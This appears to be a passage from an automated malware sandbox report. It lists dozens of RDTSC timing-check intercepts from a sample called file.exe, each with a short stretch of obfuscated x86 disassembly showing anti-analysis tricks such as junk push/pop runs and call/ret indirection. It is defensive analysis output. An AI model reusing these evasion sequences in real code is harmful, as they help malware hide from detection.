Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF511 second address: 10FF51C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF51C second address: 10FF522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF522 second address: 10FF541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32DD0C5349h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF541 second address: 10FF546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF852 second address: 10FF895 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F32DD0C5355h 0x00000010 jns 00007F32DD0C5336h 0x00000016 jmp 00007F32DD0C5349h 0x0000001b jmp 00007F32DD0C5344h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF895 second address: 10FF89F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F32DCC6AEFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF89F second address: 10FF8A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF8A9 second address: 10FF8AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3899 second address: 10F38B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop esi 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F32DD0C533Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FFA2B second address: 10FFA4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jne 00007F32DCC6AF12h 0x0000000b jmp 00007F32DCC6AF06h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FFA4E second address: 10FFA67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 jmp 00007F32DD0C533Ah 0x0000000d pop edi 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FFF8A second address: 10FFFB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F32DCC6AEF6h 0x0000000d jmp 00007F32DCC6AF07h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11000DD second address: 11000E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100267 second address: 1100271 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F32DCC6AEF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100271 second address: 110027E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110027E second address: 1100295 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F32DCC6AF01h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100295 second address: 11002AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F32DD0C5336h 0x00000009 jmp 00007F32DD0C533Bh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11002AB second address: 11002B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F32DCC6AEF6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110491B second address: 1104945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 ja 00007F32DD0C5336h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 jng 00007F32DD0C5350h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F32DD0C5342h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1103B9E second address: 1103BA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1103BA2 second address: 1103BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jo 00007F32DD0C533Eh 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105D7E second address: 1105D84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110AA3B second address: 110AA53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F32DD0C5342h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110AA53 second address: 110AA58 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110AA58 second address: 110AA5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109E63 second address: 1109E77 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F32DCC6AEF6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007F32DCC6AEFCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109E77 second address: 1109E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 je 00007F32DD0C533Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A270 second address: 110A2A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32DCC6AF09h 0x00000009 popad 0x0000000a jmp 00007F32DCC6AF02h 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007F32DCC6AEF6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A584 second address: 110A588 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A588 second address: 110A58E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A58E second address: 110A59A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F32DD0C533Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DEE9 second address: 110DEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DEED second address: 110DEF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DEF3 second address: 110DF20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push ecx 0x0000000c jo 00007F32DCC6AEF6h 0x00000012 pop ecx 0x00000013 pop ebx 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DF20 second address: 110DF33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F32DD0C5336h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F32DD0C5336h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DF33 second address: 110DF54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AEFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F32DCC6AEFBh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DF54 second address: 110DF59 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DF59 second address: 110DF68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E039 second address: 110E046 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E046 second address: 110E04A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E04A second address: 110E058 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F32DD0C5336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E24F second address: 110E266 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E266 second address: 110E26B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E606 second address: 110E60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E60C second address: 110E616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110EA3F second address: 110EA44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110ED44 second address: 110ED49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110EE46 second address: 110EE5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F32DCC6AEFFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110EED7 second address: 110EEE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F32DD0C533Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110F51B second address: 110F521 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FF58 second address: 110FF5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111305D second address: 1113082 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F32DCC6AF07h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F32DCC6AEF6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113082 second address: 111309E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C5343h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111309E second address: 11130D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 call 00007F32DCC6AF06h 0x0000000c sub dword ptr [ebp+122D3B24h], ebx 0x00000012 pop esi 0x00000013 push 00000000h 0x00000015 mov esi, dword ptr [ebp+122D2D7Ch] 0x0000001b push 00000000h 0x0000001d mov esi, ecx 0x0000001f push eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 jnc 00007F32DCC6AEF6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11130D8 second address: 11130E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11151BB second address: 11151BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11159A2 second address: 11159AC instructions: 0x00000000 rdtsc 0x00000002 ja 00007F32DD0C5336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11159AC second address: 11159C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32DCC6AF03h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111AA4D second address: 111AA67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C5341h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111AA67 second address: 111AA6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111AA6D second address: 111AA75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111B00C second address: 111B058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F32DCC6AEFCh 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F32DCC6AEF8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a mov ebx, edx 0x0000002c mov di, dx 0x0000002f mov edi, 2CE4BDA6h 0x00000034 push 00000000h 0x00000036 mov bx, 60C7h 0x0000003a xchg eax, esi 0x0000003b pushad 0x0000003c push esi 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111B058 second address: 111B061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111CF4C second address: 111CF50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111CF50 second address: 111CF56 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E056 second address: 111E0B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AEFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edi, 76CB0215h 0x0000000f mov edi, dword ptr [ebp+122D2B30h] 0x00000015 push 00000000h 0x00000017 jmp 00007F32DCC6AF07h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007F32DCC6AEF8h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 00000017h 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 clc 0x00000039 xchg eax, esi 0x0000003a jc 00007F32DCC6AF00h 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D0E1 second address: 111D0E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D1BE second address: 111D1C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E1FB second address: 111E252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 nop 0x00000007 cld 0x00000008 push dword ptr fs:[00000000h] 0x0000000f movsx ebx, si 0x00000012 sbb ebx, 086A8CA8h 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f xor bx, 5FE8h 0x00000024 mov dword ptr [ebp+122D2FF5h], esi 0x0000002a mov eax, dword ptr [ebp+122D0E19h] 0x00000030 push ecx 0x00000031 mov bx, 7BCDh 0x00000035 pop ebx 0x00000036 push FFFFFFFFh 0x00000038 jmp 00007F32DD0C5349h 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push ecx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EF3C second address: 111EF97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 nop 0x00000007 mov di, 51C4h 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F32DCC6AEF8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 mov di, 96A6h 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 call 00007F32DCC6AEF8h 0x00000035 pop edx 0x00000036 mov dword ptr [esp+04h], edx 0x0000003a add dword ptr [esp+04h], 00000014h 0x00000042 inc edx 0x00000043 push edx 0x00000044 ret 0x00000045 pop edx 0x00000046 ret 0x00000047 xchg eax, esi 0x00000048 push eax 0x00000049 push edx 0x0000004a je 00007F32DCC6AEF8h 0x00000050 push eax 0x00000051 pop eax 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E252 second address: 111E257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EF97 second address: 111EF9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E257 second address: 111E26B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32DD0C5340h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E26B second address: 111E26F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120E8D second address: 1120E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120E91 second address: 1120F1A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F32DCC6AEF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F32DCC6AEFAh 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F32DCC6AEF8h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D310Ch], ecx 0x00000033 push 00000000h 0x00000035 jmp 00007F32DCC6AF07h 0x0000003a push 00000000h 0x0000003c sub dword ptr [ebp+122D2FDCh], edx 0x00000042 xchg eax, esi 0x00000043 push esi 0x00000044 jmp 00007F32DCC6AF08h 0x00000049 pop esi 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F32DCC6AEFAh 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120F1A second address: 1120F20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11256D4 second address: 11256D9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11256D9 second address: 112576A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F32DD0C5338h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 cld 0x00000025 push 00000000h 0x00000027 mov dword ptr [ebp+1247B58Bh], esi 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007F32DD0C5338h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 00000017h 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 mov ebx, dword ptr [ebp+122D2887h] 0x0000004f xchg eax, esi 0x00000050 jmp 00007F32DD0C5345h 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 jmp 00007F32DD0C5341h 0x0000005e jg 00007F32DD0C5336h 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112683D second address: 1126845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11268FF second address: 112691B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F32DD0C5340h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112691B second address: 1126921 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1126921 second address: 1126926 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
